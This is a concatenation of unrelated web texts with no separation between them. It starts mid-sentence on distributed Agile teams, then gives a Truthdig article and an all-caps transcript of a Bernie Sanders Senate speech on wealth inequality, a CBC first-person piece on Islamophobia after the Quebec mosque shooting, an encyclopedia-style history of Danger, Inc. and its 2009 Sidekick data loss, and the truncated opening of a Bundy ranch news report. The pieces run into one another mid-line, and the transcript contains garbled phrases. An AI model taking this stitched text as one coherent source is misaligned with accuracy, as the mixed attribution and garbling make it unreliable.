we’re trying to solve and no one tool (even Agile!) alone can offer the entire solution. When you chose to have distributed teams then of course the problem is compounded with cultural, communication and timezone barriers. Nevertheless, I believe these impediments call for MORE not less collaboration because your risks of project trouble far outweigh the inconveniences of making this communication happen.In an address to the U.S. Senate this week, Vermont independent Bernie Sanders testified to the basics of wealth and income inequality and described how it distorts the U.S. political process.
The senator’s poignant speech, which is titled “A Threat to American Democracy,” begins with statistics many people have heard but that have not gotten their fair hearing in the corporate press. The Walton family, for example, heirs of the Walmart chain and its fortune, have long been the richest family in America. Today they are worth $148 billion — more than the bottom 40 percent of U.S. citizens combined. (Read about the nation’s 20 richest families here.)
A consequence of the extreme rise in income for the top 1 percent is the Pandora’s box of political power. This power was unleashed particularly with the Supreme Court’s 2010 Citizens United decision. The ruling continued the court’s 19th century identification of citizen rights with corporations by granting corporations unlimited campaign contributions under the guise that money is speech protected by the Constitution. (The court is currently hearing a case that would ease remaining restrictions on campaign donations.)
Sanders says political power is no longer divided between the Republican and Democratic parties, but instead is held by a billionaire party in which candidates on both sides of the aisle depend on the “financial speech” of a few extremely wealthy donors. Those donors are capable of outspending the entire U.S. middle and lower classes. The exemplars of these superrich working to shape politics are the Koch brothers, currently the second-wealthiest family in this country. The Kochs to date have spent hundreds upon hundreds of millions of dollars on extreme right-wing Republican candidates and causes. Their efforts have paid off. Thanks to tax cuts and other measures passed by their politicians, their wealth in the last year alone increased by $12 billion to some $80 billion altogether.
With 95 percent of all income during the period between 2009 and 2012 going to the top 1 percent of earners, the problem Sanders describes is getting far worse. As it is currently being reported, the “Adelson Primary,” in which Las Vegas billionaire Sheldon Adelson gathers GOP favorites like former Florida governor and brother to former president George W. Bush, Jeb Bush and New Jersey Gov. Chris Christie to discuss plans for the 2016 presidential election, is becoming the new standard model for campaign planning.
Sanders concludes his speech by asking, is “this nation … going to become an oligarchic form of society?”
An unofficial transcript of the address provided to Truthdig by Sanders’ office appears beneath the video.
Bernie Sanders:
— Posted by Donald Kaufman.
Subscribe to Truthdig’s YouTube channel here.
Sen. BERNIE SANDERS: THANK YOU VERY MUCH. AS THE LONGEST SERVING INDEPENDENT IN THE HISTORY OF THE U.S. CONGRESS, I WANT TO ADDRESS A — AN ISSUE THAT I THINK DOES NOT GET THE KIND OF DISCUSSION THAT IT SHOULD FROM EITHER POLITICAL PARTY BUT CERTAINLY NOT FROM OUR REPUBLICAN COLLEAGUES, AND THAT IS THE MORAL, ECONOMIC AND POLITICAL DIMENSIONS OF THE KIND OF INCOME AND WEALTH INEQUALITY WHICH WE HAVE IN OUR COUNTRY TODAY. IN MY VIEW, THIS IS THE MOST IMPORTANT ISSUE FACING THE UNITED STATES BECAUSE IT IMPACTS ON VIRTUALLY EVERY ASPECT OF OUR LIVES. IT IS AN ISSUE THAT WE MUST BE DISCUSSING THOROUGHLY AND ONE IN WHICH THE AMERICAN PEOPLE HAVE GOT TO BE ENGAGED.
THE FACT OF THE MATTER IS THAT WHILE WE OFTEN SPEAK OF THE UNITED STATES OFAMERICA BEING THE WEALTHIEST NATION ON THE FACE OF THE EARTH, THAT IS ONLY PARTIALLY TRUE BECAUSE WITHIN THE CONTEXT OF TOTAL WEALTH IS THE REALITY THAT THE MIDDLE CLASS, THE GREAT MIDDLE CLASS OF THIS COUNTRY IS DISAPPEARING. THE REALITY IS THAT WE HAVE MORE PEOPLE LIVING IN POVERTY TODAY THAN AT ANY TIME IN THE HISTORY OF THE UNITED STATES OF AMERICA. THE FACT OF THE MATTER IS THAT WE HAVE BY FAR THE HIGHEST RATE OF CHILDHOOD POVERTY OF ANY MAJOR INDUSTRIALIZED NATION ON EARTH. SO IF YOU ADD IT ALL TOGETHER, YES, WE ARE THE WEALTHIEST NATION ON EARTH. BUT THE REALITY IS THAT THE PEOPLE ON TOP OWN A HUGE AMOUNT OF THAT WEALTH WHILE THE MIDDLE CLASS IS SHRINKING AND POVERTY IS INCREASING. AND I WANT TO BORE YOU, MADAM PRESIDENT, ALTHOUGH I THINK YOU ALREADY KNOW THIS ISSUE, BUT I DO WANT TO SPEAK TO OUR COLLEAGUES AND THE AMERICAN PEOPLE ABOUT SOME OF THE REALITIES OUT THERE IN TERMS OF INCOME AND WEALTH DISTRIBUTION.
TODAY, MADAM PRESIDENT, THE TOP 1% OWNS 38% OF THE FINANCIAL WEALTH OF AMERICA, 38%. AND I WONDER HOW MANY AMERICANS KNOW HOW MUCH THE BOTTOM 60% OWN. THEY WANT PEOPLE TO THINK ABOUT IT. TOP 1% OWN 38% OF THE WEALTH. WHAT DO THE BOTTOM 60% OWN? THE ANSWER IS ALL OF 2.3%. TOP 1% OWNS 38% OF THE FINANCIAL WEALTH. THE BOTTOM 60% OWNS 2.3%. MADAM PRESIDENT, THERE IS ONE FAMILY IN THIS COUNTRY, THE WALTON FAMILY, THE OWNERS OF WAL-MART, WHO ARE NOW WORTH AS A FAMILY $148 BILLION. THAT IS MORE WEALTH THAN THE BOTTOM 40% OF AMERICAN SOCIETY. ONE FAMILY OWNS MORE WEALTH THAN THE BOTTOM 40% OF AMERICAN SOCIETY. TODAY THE RICHEST 400 AMERICANS OWN MORE WEALTH THAN THE BOTTOM HALF OF AMERICA, 150 MILLION PEOPLE. THAT’S DISTRIBUTION OF WEALTH. THAT’S WHAT WE OWN. IN TERMS OF INCOME, WHAT WE MADE LAST YEAR, THE LATEST INFORMATION THAT WE HAVE IN TERMS OF DISTRIBUTION OF INCOME IS THAT FROM 2009-2012, 95% OF ALL NEW INCOME EARNED IN THIS COUNTRY WENT TO THE TOP 1%. HAVE YOU ALL GOT THAT? 95% OF ALL NEW INCOME WENT TO THE TOP 1%, WHICH TELLS US THAT WHEN WE TALK ABOUT ECONOMIC GROWTH, WHICH IS 2%, 3%, 4%,WHATEVER IT IS, THAT REALLY DOESN’T MEAN ALL THAT MUCH BECAUSE ALMOST ALL OF THE NEW INCOME GENERATED IN THAT GROWTH HAS GONE TO THE VERY, VERY, VERY WEALTHIEST PEOPLE IN THIS COUNTRY.
MADAM PRESIDENT, THE TOP 25 HEDGE FUND MANAGERS MADE LAST YEAR OVER $24 BILLION. 25 HEDGE FUND MANAGERS MADE OVER $24 BILLION LAST YEAR. THAT IS ENOUGH TO PAY THE SALARIES OF MORE THAN 425,000 PUBLIC SCHOOL TEACHERS. 24 HEDGE FUND MANAGERS AND 425,000 PUBLIC SCHOOL TEACHERS. OVER THE PAST DECADE, THE NET WORTH OF THE TOP 400 BILLIONAIRES IN THIS COUNTRY HAS DOUBLED, UP BY AN ASTRONOMICAL $1 TRILLION IN THE LAST TEN YEARS. WE HAVE HEARD — I WILL BE TALKING ABOUT THIS IN A MOMENT – THE EXTRAORDINARY POLITICAL POWER OF THE KOCH BROTHERS, A FAMILY THAT IS INVESTING VERY, VERY HEAVILY IN THE POLITICAL PROCESS, SPENDING HUNDREDS AND HUNDREDS OF MILLIONS OF DOLLARS TO ELECT RIGHT-WING CANDIDATES WHO WILL PROTECT THE INTERESTS OF THE WEALTHY AND THE POWERFUL. TO GIVE YOU SOME IDEA OF WHAT IS GOING ON IN THIS ECONOMY, EVERYBODY SHOULD UNDERSTAND THAT CHARLES AND DAVID KOCH, THE KOCH BROTHERS, THEY ARE THE SECOND WEALTHIEST FAMILY IN THIS COUNTRY. IN THE LAST YEAR ALONE, THAT ONE FAMILY SAW A $12 BILLION INCREASE IN THEIR WEALTH. $12 BILLION IN ONE YEAR, BRINGING THEIR TOTAL WEALTH TO UP TO $80 BILLION.
THE OTHER DAY IN “THE WASHINGTON POST,” MADAM PRESIDENT, YOU MAY HAVE SEEN AN ARTICLE TALKING ABOUT THE AID HE WILLSON — THE ADELSON PRIMARY. NOW, WHEN WE TALK ABOUT A POLITICAL PRIMARY, WHAT IT MEANS IS YOU HAVE CANDIDATES IN THE DEMOCRATIC PARTY, CANDIDATES IN THE REPUBLICAN PARTY COMPETING AGAINST EACH OTHER TO GET THE SUPPORT OF THE PEOPLE IN THEIR RESPECTIVE PARTIES. WELL, FORGET ABOUT THAT. THAT’S OLD NEWS. NOW THE GOAL IS TO APPEAL TO ONE MULTIBILLIONAIRE SO THAT THAT CAN’T — THAT INDIVIDUAL CAN CONTRIBUTE HUNDREDS OF MILLIONS OF DOLLARS INTO YOUR CAMPAIGN, AND THAT IS WHAT IS GOING ON RIGHT NOW IN THE REPUBLICAN PARTIES.
NOW, WHILE THE WEALTHIEST PEOPLE ARE DOING PHENOMENALLY WELL, WHILE THE UNITED STATES TODAY HAS THE MOST UNEQUAL DISTRIBUTION OF WEALTH AND INCOME OF ANY MAJOR COUNTRY ON EARTH AND WHILE THAT INCOME AND EQUALITY IS WORSE TODAY THAN AT ANY TIME SINCE 1928, WHAT WE ARE ALSO SEEING IS THE COLLAPSE OF THE MIDDLE CLASS AND AN INCREASE IN POVERTY. MADAM PRESIDENT, SINCE 1999, THE TYPICAL MIDDLE-CLASS FAMILY HAS SEEN ITS INCOME GO DOWN BY MORE THAN $5,000 AFTER ADJUSTING FOR INFLATION. THE TYPICAL MIDDLE-CLASS AMERICAN FAMILY EARN LESS INCOME — EARNED LESS INCOME LAST YEAR THAN IT DID 25 YEARS AGO BACK IN 1989. AND IN FACT, YOU’RE PROBABLY THE LAST PERSON IN THE WORLD I HAVE TO EXPLAIN THIS TO BECAUSE YOU WROTE SEVERAL BOOKS ON THIS SUBJECT. WHAT WE ARE ALSO LOOKING AT IS THAT TYPICAL MALE WORKERS — AND I WANT PEOPLE TO HEAR THIS. DO YOU WANT TO KNOW WHY PEOPLE ARE ANGRY IN THIS COUNTRY? TYPICAL, THAT’S THE MEDIAN MALE WORKER IN THIS COUNTRY, MADE $283 LESS LAST YEAR THAN HE DID 44 YEARS AGO. SO THE QUESTION — AND I SHOULD SAY IN TERMS OF THE TYPICAL FEMALE WORKER, SHE EARNED $1,700 LESS THAN SHE DID IN 2007. SO THE QUESTION THAT I THINK EVERY AMERICAN SHOULD BE ASKING IS HOW DOES IT HAPPEN THAT WHEN WE HAVE A HUGE INCREASE IN PRODUCTIVITY, EVERYBODY HAS A CELL PHONE, EVERYBODY HAS A SOPHISTICATED COMPUTER, WE HAVE ROBOTICS IN ALL OF OUR FACTORIES, WE HAVE A HUGE INCREASE IN PRODUCTIVITY. WHERE IS ALL OF THE WEALTH GOING THAT INCREASED PRODUCTIVITY HAS CREATED? AND THE ANSWER IS PRETTY CLEAR. IT HAS GONE TO THE TOP 1%. SO THE MORAL ISSUE THAT WE HAVE GOT TO ADDRESS AS A NATION, ARE WE COMFORTABLE AS A NATION IN WHICH IN RECENT YEARS WE HAVE SEEN A HUGE INCREASE IN THE NUMBER OF MILLIONAIRES AND BILLIONAIRES WHILE AT THE SAME TIME WE HAVE MORE PEOPLE LIVING IN POVERTY THAN WE HAVE EVER HAD BEFORE. MADAM PRESIDENT, THIS IS JUST TO ME AN INCREDIBLE FACT.
AS AN AGING NATION, MORE AND MORE PEOPLE ARE REACHING RETIREMENT. HALF OF THE AMERICAN PEOPLE HAVE LESS THAN $10,000 IN THEIR SAVINGS ACCOUNT AND HAVE IN MANY WAYS NO IDEA AS TO HOW THEY ARE GOING TO RETIRE WITH DIGNITY. SO THE FIRST ISSUE THAT WE HAVE TO DEAL WITH IS A MORAL ISSUE. ARE WE COMFORTABLE LIVING IN A NATION WHEN SO FEW HAVE SO MUCH WHILE SO MANY HAVE SO LITTLE AND SO MANY OF OUR BROTHERS AND SISTERS, OUR FELLOW AMERICANS, ARE STRUGGLING ECONOMICALLY EVERY SINGLE DAY. TODAY WE ARE ADDRESSING THE ISSUE OF EXTENDING LONG-TERM UNEMPLOYMENT BENEFITS, AND WHAT THAT MEANS IS THERE ARE MILLIONS OF WORKERS RIGHT NOW, INCLUDING PEOPLE WHO HAVE WORKED THEIR ENTIRE LIVES, WHO NO LONGER CAN FIND A JOB. THEY HAVE VIRTUALLY NO INCOME COMING IN. THEY ARE STRUGGLING TO SURVIVE. YOU HAVE GOT SINGLE MOMS OUT THERE TRYING TO RAISE FAMILIES WITH VERY LIMITED INCOME. IS THAT THE NATION THAT WE ARE COMFORTABLE BEING, AND THE ANSWER IS I DON’T THINK WE ARE.
BUT IT IS NOT JUST AN ISSUE OF INDIVIDUAL INCOME. TODAY CORPORATE PROFITS ARE AT AN ALL-TIME HIGH WHILE WAGES ARE NEAR AN ALL-TIME LOW. AND THEN WHEN YOU LOOK AT ISSUES ABOUT HOW CAN WE FUND EARLY CHILDHOOD EDUCATION, HOW CAN WE MAKE SURE THAT EVERY AMERICAN HAS HEALTH CARE AS A RIGHT, HOW DO WE MAKE SURE THAT WHEN PEOPLE LOSE THEIR JOBS, THEY ARE GOING TO GET THE UNEMPLOYMENT THAT THEY NEED, WE SHOULD REMEMBER THAT EVERY SINGLE YEAR, CORPORATIONS, LARGE MULTINATIONAL CORPORATIONS AVOID PAYING AT LEAST $100 BILLION A YEAR IN TAXES BECAUSE THEY STASH THEIR CASH IN THE CAYMAN ISLANDS AND OTHER OFFSHORE TAX HAVENS, AND THE RESULT IS THAT ONE OUT OF FOUR AMERICAN CORPORATIONS PAYS NOTHING IN FEDERAL INCOME TAXES. IN FACT, OVER THE LAST FIVE YEARS, HUGE COMPANIES, PROFITABLE COMPANIES LIKE GENERAL ELECTRIC, BOEING AND VERIZON PAID NOTHING, ZERO IN FEDERAL INCOME TAXES EVEN THOUGH ALL OF THOSE COMPANIES MADE A COMBINED PROFIT OF $78 BILLION SINCE 2008.
NOW, HERE IS THE IRONY OF ALL IRONIES. IT IS ONE THING TO UNDERSTAND THAT THE VERY WEALTHY ARE BECOMING WEALTHIER WHILE EVERYBODY ELSE IS BECOMING POORER, BUT IT IS ANOTHER THING TO UNDERSTAND THAT THE PEOPLE WHO HAD THE MONEY, THE BILLIONAIRE CLASS, IS GOING TO WAR AGAINST WORKING AMERICANS. YOU WOULD ASK YOURSELF IF YOU HAD $80 BILLION, DO YOU REALLY NEED TO INVEST IN THE POLITICAL PROCESS SO THAT YOU CAN ELECT CANDIDATES WHO WILL GIVE YOU EVEN MORE TAX BREAKS? DO YOU REALLY HAVE TO INVEST IN RIGHT-WING CANDIDATES WHO ARE OUT THERE TRYING TO CUT SOCIAL SECURITY, MEDICARE, MEDICAID, THE ENVIRONMENTAL PROTECTION AGENCY, NUTRITION, FOOD STAMPS, EDUCATION? WHY IF SOMEBODY HAS $80 BILLION ARE THEY WORKING SO HARD FOR MORE TAX BREAKS FOR THEMSELVES AND FOR MORE CUTS FOR THE MIDDLE CLASS AND WORKING CLASS IN TERMS OF PROGRAMS THAT PEOPLE DESPERATELY NEED? FRANKLY I THINK THIS IS NOT AN ECONOMIC ISSUE. I THINK IT’S A PSYCHIATRIC ISSUE. I THINK IT IS AN ISSUE THAT SUGGESTS THAT PEOPLE ARE SIMPLY POWER HUNGRY, THEY NEED MORE AND MORE AND MORE, AND I THINK THAT THAT IS A VERY SAD STATE OF AFFAIRS.
MR. PRESIDENT, THE STRUGGLE THAT WE ARE ENGAGED IN NOW IS STOPPING THE BILLIONAIRE CLASS FROM CUTTING SOCIAL SECURITY, FROM CUTTING MEDICARE, FROM CUTTING MEDICAID, AND FROM PREVENTING US FROM CREATING THE MILLIONS OF JOBS THAT OUR ECONOMY DESPERATELY NEEDS. BUT AT THE END OF THE DAY, WHAT WE ARE REALLY TALKING ABOUT IS WHETHER OR NOT THIS NATION IS GOING TO BECOME AN OLIGARCHIC FORM OF SOCIETY. AND WHAT THAT MEANS, WHAT AN OLIGARCHIC FORM OF SOCIETY IS ABOUT, AND HAS EXISTED IN MANY COUNTRIES THROUGHOUT THE WORLD, HISTORICALLY MANY COUNTRIES IN LATIN AMERICA ALTHOUGH THAT HAS RECENTLY CHANGED — IS YOU HAVE A NATION IN WHICH BOTH THE ECONOMICS AND POLITICS OF THE NATION ARE CONTROLLED BY A HANDFUL OF BILLIONAIRE FAMILIES. VERY, VERY WEALTHY. AND IT DOESN’T MATTER WHAT PARTY IS IN POWER BECAUSE THE REAL POWER, ECONOMICALLY AND POLITICALLY, RESTS WITH A BILLIONAIRE CLASS. AND, MR. PRESIDENT, IT SEEMS TO ME VERY CLEARLY THAT UNLESS WE ACT BOLDLY TO REVERSE THAT TREND, WE ARE SEEING THIS COUNTRY MOVING IN EXACTLY THAT DIRECTION. AND ONE OF THE REASONS FOR THAT IS THAT AS A RESULT OF THE DISASTROUS CITIZENS UNITED SUPREME COURT RULING WHICH REGARDS CORPORATIONS AS PEOPLE AND ALLOWS THE SUPERWEALTHY TO SPEND AS MUCH AS THEY WANT ON ELECTIONS, THE BILLIONAIRE PARTY WHICH IS OBVIOUSLY ALIGNED WITH THE REPUBLICANS, IS NOW, IN FACT, THE MAJOR POLITICAL FORCE IN THIS COUNTRY. IT’S NOT THE REPUBLICAN PARTY PER SE, IT IS NOT THE DEMOCRATIC PARTY PER SE. IT IS THE BILLIONAIRE PARTY LED BY PEOPLE LIKE THE KOCH BROTHERS AND SHELDON ADELSON. AND THEY ARE THE DOMINANT POLITICAL FORCE IN THIS COUNTRY BECAUSE THEY CAN SPEND UNBELIEVABLE SUMS OF MONEY ON ELECTIONS, THEY CAN SPEND AS MUCH MONEY AS THEY NEED SETTING UP THINK TANKS AND ALL KINDS OF ORGANIZATIONS WHICH WILL SUPPORT THEIR EXTREME RIGHT-WING POINT OF VIEW.
MR. PRESIDENT, IN THE LAST ELECTION FOR PRESIDENT, BARACK OBAMA’S CAMPAIGN SPENT I BELIEVE A LITTLE OVER A BILLION DOLLARS, MITT ROMNEY SOMEWHERE AROUND THERE, MAYBE A LITTLE BIT LESS, ABOUT A BILLION DOLLARS. KOCH BUREAUS’ WEALTH — BROTHERS’ WEALTH INCREASED BY $12 BILLION IN ONE YEAR. IS THERE ANY REASON TO DOUBT THAT IN THE FUTURE THIS ONE FAMILY WILL BE ABLE TO SPEND MORE MONEY ON A CAMPAIGN THAN THE PRESIDENTIAL CANDIDATES THEMSELVES RECEIVING DONATIONS FROM HUNDREDS OF THOUSANDS OF PEOPLE. AND THAT IS WHERE WE ARE TODAY. WHERE WE ARE TODAY IS THE VERY FOUNDATIONS OF AMERICAN DEMOCRACY ARE BEING THREATENED BY A HANDFUL OF INCREDIBLY WEALTHY PEOPLE WHO ARE SAYING YOU KNOW WHAT? 80S ARE BILLION DOLLARS — $80 BILLION IS NOT, I MADE $12 BILLION LAST YEAR, NOT ENOUGH FOR ME. I HAVE TO HAVE MORE AND I’M GOING TO GET MORE TAX CUTS FOR MYSELF AND IN ORDER TO DO THAT WE MAY HAVE TO CUT SOCIAL SECURITY, WE MAY HAVE TO TO CUT MEDICARE, WE MAY HAVE TO CUT MEDICAID, WE MAY HAVE TO CUT EDUCATION FOR MIDDLE-CLASS FAMILIES.
YOU KNOW, EESH IN A DEBATE, MR. PRESIDENT, AS YOU WELL — WE ARE IN A DEBATE, MR. PRESIDENT, AS YOU WELL KNOW ABOUT WHETHER WE RAISE THE MINIMUM WAGE. MY VIEW AND I KNOW YOUR VIEW IS WE SHOULD RAISE THE MINIMUM WAGE TO $10.10 AN HOUR SO EVERY WORKING PERSON IN THIS COUNTRY AT LEAST, AT LEAST CAN HAVE A MINIMAL, MAIN MINNESOTA MALSTLIFERL — MINIMAL STANDARD OF LIVING. I HAVE TO SAY AND MANY AMERICANS DON’T KNOW IT, IT IS NOT JUST THAT VIRTUALLY ALL REPUBLICANS IN THE CONGRESS ARE OPPOSED TO RAISING THE MINIMUM WAGE, THE TRUTH OF THE MATTER IS IS THAT MANY OF THEM WANT TO ABOLISH THE CONCEPT OF THE MINIMUM WAGE. THE THEORY OF THE MINIMUM WAGE IS THAT NOBODY SHOULD WORK FOR BELOW A CERTAIN WAGE AND FOR MANY OF MY EXTREME CONSERVATIVE FRIENDS, THEY THINK IT WOULD BE PERFECTLY FINE IF IN A HIGH UNEMPLOYMENT AREA WE ABOLISH THE MINIMUM WAGE AND PEOPLE TODAY WERE WORKING IN THIS COUNTRY FOR $3 AN HOUR, THEY WERE WORKING FOR $4 AN HOUR. BUT IT IS NOT ONLY ECONOMICS. MANY OF THESE BILLIONAIRES ARE INVOLVED, AS THE KOCH BROTHERS ARE, IN ENERGY, IN OIL. AND WHAT THEY WANT TO DO IS ABOLISH AGENCIES LIKE THE ENVIRONMENTAL PROTECTION AGENCY SO THEY CAN POLLUTE MORE AND MORE AND MORE. THE SCIENTIFIC COMMUNITY TELLS US IN AN ALMOST UNANIMOUS FASHION THAT CLIMATE CHANGE IS REAL, THAT CLIMATE CHANGE IS MADE BY HUMAN ACTIVITY, THAT CLIMATE CHANGE IS ALREADY CAUSING SEVERE PROBLEMS IN OUR COUNTRY AND AROUND THE WORLD AND IF WE DON’T GET OUR ACT TOGETHER AND SIGNIFICANTLY CUT GREENHOUSE GAS EMISSIONS THE PROBLEMS WILL ONLY BECOME WORSE. YET YOU HAVE FAMILIES LIKE THE KOCH BROTHERS AND OTHER BILLIONAIRES SPENDING HUGE SUMS OF MONEY TRYING TO CONFUSE PEOPLE ABOUT THE REALITY OF CLIMATE CHANGE.
SO, MR. PRESIDENT, TO MY MIND, THE ISSUE THAT WE HAVE GOT TO FOCUS ON AS A CONGRESS, THE ISSUE THAT WE HAVE GOT TO FOCUS ON AS AMERICAN PEOPLE IS WHAT KIND OF NATION DO WE WISH TO LIVE IN. DO WE WANT TO LIVE IN A NATION WHERE A HANDFUL OF BILLIONAIRES OWN A SIGNIFICANT AMOUNT OF THE WEALTH IN THIS COUNTRY WHILE THE MIDDLE CLASS HAS LESS AND LESS, WHERE FAMILIES CAN’T AFFORD TO SEND THEIR KIDS TO COLLEGE OR GET DECENT CHILD CARE FOR THEIR LITTLE ONES, WHERE PEOPLE ARE REACHING THE AGE OF 65 WITH VIRTUALLY NOTHING IN THE BANK IN ORDER TO PROVIDE A DIGNIFIED RETIREMENT, IS THAT THE COUNTRY WE WANT TO LIVE IN OR DO WE WANT TO SEE THE MIDDLE CLASS GROW AND HAVE A MORE EQUITABLE DISTRIBUTION OF WEALTH AND INCOME, A FAIRER TAX SYSTEM WHERE THE MILLIONAIRES AND BILLIONAIRES AND LARGE CORPORATIONS START PAYING THEIR FAIR SHARE OF TAXES. AND THEN FROM A POLITICAL POINT OF VIEW WHICH IS EQUALLY IMPORTANT, DO WE WANT TO HAVE A NATION IN WHICH THE CONCEPT IS ONE PERSON, ONE VOTE, THAT WE’RE ALL EQUAL, THAT YOU HAVE AS MUCH SAY ABOUT WHAT HAPPENS IN GOVERNMENT AS ANYBODY ELSE, OR DO WE WANT TO HAVE A POLITICAL SYSTEM WHERE A HANDFUL OF BILLIONAIRES CAN SIT AROUND THE ROOM AND SAY OKAY, PUT $100 MILLION INTO THAT STATE, LET’S PUT $50 MILLION INTO THAT STATE, WHERE A HANDFUL OF BILLIONAIRES WILL DETERMINE WHO GETS ELECTED PRESIDENT, WHO GETS ELECTED SENATOR, WHO GETS ELECTED GOVERNOR, AND HAVE MEMBERS OF CONGRESS GO CRAWLING UP TO THESE BILLIONAIRES, WHAT DO YOU NEED MR. BILLIONAIRE, HOW DO I GET THE HUNDREDS OF MILLIONS OF DOLLARS YOU CAN GIVE ME? IS THAT REALLY WHAT AMERICAN DEMOCRACY IS SUPPOSED TO BE ABOUT?
SO WE HAVE SOME VERY, VERY FUNDAMENTAL ISSUES THAT WE HAVE GOT TO ADDRESS AS THE UNITED STATES CONGRESS. SO I WOULD SUGGEST THAT WE PUT RIGHT ON THE AGENDA THE ISSUE OF DISTRIBUTION OF WEALTH AND INCOME, AND THE IMPLICATIONS OF THAT GROSSLY UNFAIR DISTRIBUTION OF WEALTH AND INCOME THAT WE HAVE RIGHT NOW.
AND WITH THAT, MR. PRESIDENT, I WOULD YIELD THE FLOOR AND NOTE THE ABSENCE OF A QUORUM.I can't stop crying.
I spent the day following the Quebec mosque shooting reading news coverage and poring over the profiles of the victims slowly being shared in reports.
One congregant was a butcher, described as being a father to all who knew him. Another was a professor observing prayer close to his own home. Most were parents, taken from children as young as toddlers.
How many times have I watched the fathers and mothers in my family go to the mosque for prayer? I never had a reason to doubt when they promised to be home soon.
Quebec mosque victims, clockwise from left: Azzeddine Soufiane, Mamadou Tanou Barry, Khaled Belkacemi, Aboubaker Thabti, Ibrahima Barry and Abdelkrim Hassane (CBC)
Throughout the day the same thought repeatedly entered my head: "we are being hunted down." The thought was not a new one.
What was new is that I was now the person expressing it.
Safe country for whom?
As a women's self-defence instructor, I teach Muslim and immigrant women to fight back and yell when faced with anti-Muslim and xenophobic violence.
I'm often invited to pass on the stories of the Muslim women who have been harassed on public transit, assaulted in the streets and discriminated against in their workplaces. These stories have been entrusted to me in the communal spaces we cultivate as Muslims; spaces we need in order to acknowledge the realities we face on a daily basis.
Arij Elmi teaches self-defence classes in Toronto. She herself has been targeted in public spaces. (CBC)
Many of these women have stopped taking the subway. Others have quit their jobs or don hats instead of hijabs. These were all choices they have had to make to remain safe in a country that is touted as being one of the safest in the world.
As a black woman who wears the hijab I too have faced Islamophobia and racism while shopping, driving and in my work as a social worker.
Many [Muslim] women have stopped taking the subway. Others have quit their jobs or don hats instead of hijabs. - Arij Elmi
I will never forget the day I went to interview a client in our emergency department only to be informed that she would not work with a Muslim. It hurt even more to watch my colleague, a nurse, ask our client if she would prefer to be seen by someone else. My colleague never stopped to acknowledge the hatred that was on display moments before.
I left silently, wondering why I was hated for my faith and why no one seemed to find anything wrong with that.
We have to call it out
When recalling these stories, I've learned to preface them with a statement downplaying their significance.
I would always begin: "I don't want to overstate it," believing that if I made our hurt smaller, that if I softened our pain, our stories would be believed.
Hundreds gather for a multi-faith vigil at the University of Toronto, where Arij Elmi goes to school, to honour those killed and injured in Quebec City Sunday. (Devin Heroux/CBC)
I know that we as Canadians struggle to reconcile the reality of this violence with the multicultural and tolerant Canada we've imagined for ourselves. I'm guilty of this too.
It is not normal to be told to go home. It is not normal to be called a terrorist. The stares are not normal. The comments online are not normal. - Arij Elmi
I soften and downplay the verbal and physical abuse we face as Muslims in the hopes of normalizing these experiences.
But it is not normal.
It is not normal to be told to go home. It is not normal to be called a terrorist. The stares are not normal. The comments online are not normal.
And more importantly it is not okay. It is not okay to vilify another person's faith. It is not acceptable to alienate and make us feel othered. And it was not okay for my colleague to not call this out.
I used to fear being called an alarmist. I knew that such a label would delegitimize the importance of what I had to say. I no longer have this fear. After six lives ended while they were praying, there is no room left to apologize for naming oppression for what it is.
Today, the alarm bell is ringing loudly. This is what Islamophobia leads to. This is what racism leads to. This is what white supremacy leads to.Danger, Inc. was a company specializing in hardware design, software, and services for mobile computing devices. Its most notable product was the T-Mobile Sidekick (also known as Danger Hiptop), which was the first smartphone to capture the attention of pop culture celebrities and teenagers in North America. The Sidekick or Hiptop was a pioneer in client-server ("cloud"-based) smartphones and created the App (Applications) marketplace, later popularized by Android and iOS. Danger was acquired by Microsoft on 11 February 2008, for a price rumored to be around $500 million (USD).[2]
History [ edit ]
The company was originally started by former Apple Inc., WebTV and Philips employees Andy Rubin, Joe Britt, and Matt Hershenson. Co-founder Andy Rubin left in 2003 to create the company Android, which was later acquired by Google.[3]
After the Microsoft acquisition in 2008, the former Danger staff were absorbed into the Mobile Communications Business (MCB) of the Microsoft Entertainment and Devices Division, where they worked on a future mobile phone platform known as "Project Pink" which would eventually be released as Kin.[4] Because of poor sales, production was ceased just a few weeks after its release. The Kin development team was folded into the Windows Phone team, and Microsoft stopped promoting the devices.[5]
By October 2009, most of the ex-Danger employees had left Microsoft.[6] Until March 2013, Rubin headed Android development, and brought former Danger Director of Design Matias Duarte to Google.
The Register described the Microsoft acquisition as "a classic case of M & A failure, where the acquirer has failed to integrate either the technology or the people from the company that it bought."[7] Later in 2013 Microsoft purchased Nokia's mobile phone business, which is also seen as a failure.[8]
October 2009 data loss [ edit ]
In early October 2009, a server malfunction or technician error at Danger's data centers resulted in the loss of all Sidekick user data. As Sidekicks store users' data on Danger's servers—versus using local storage—users lost contact directories, calendars, photos, and all other media not locally backed up. Local backup could be accomplished through an app ($9.99 USD) which synchronized contacts, calendar, and tasks, but not notes, between the web and a local Windows PC. In an October 10 letter to subscribers, Microsoft expressed its doubt that any data would be recovered.[9]
The customer's data that was lost was, at the time, being hosted in Microsoft's data centers.[10] Some media reports have suggested that Microsoft hired Hitachi to perform an upgrade to its storage area network (SAN), when something went wrong, resulting in data destruction.[11] Microsoft did not have an active backup of the data and it had to be restored from a month-old copy of the server data, totalling 800GB in size, from offsite backup tapes. The entire restoration of data took over 2 months for customer data and full functionality to be restored.[12]
The Danger/Sidekick episode is one in a series of cloud computing mishaps that have raised questions about the reliability of such offerings.[13]Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.
LAS VEGAS -- The people still camped out at the Cliven Bundy ranch near Bunkerville are looking for some help from the public. They've posted an online ad, asking for donations of food, money, and manpower to maintain their security perimeter at the ranch.
Things in Bunkerville have calmed down considerably since a showdown three months ago that made national news and transformed rancher Bundy into a national figure, but Sheriff Doug Gillespie says the situation is far from over.
He had advised the BLM and other federal agencies to back off and let things simmer down before trying to move against Bundy and his cattle. That advice was ignored, and the resultant melee could easily have turned into a bloodbath. The sheriff took a lot of grief from the feds for his very public criticism of their operation, but he continues to stand his ground, and is once again advising caution as the government grows inexorably closer to taking action once again.
The crowds have departed from Bunkerville and so have the network news crews. As temperatures have soared, the number of militia guarding the Bundy ranch has dwindled and those who remain are calling out for help.
An ad posted on Craig's List, supposedly by the Oathkeepers group, asks for donations, everything from canned chili to sunscreen to walkie talkie's and, most of all, men who have time on their hands.
"The militia numbers are down very low," Sheriff Doug Gillespie said.
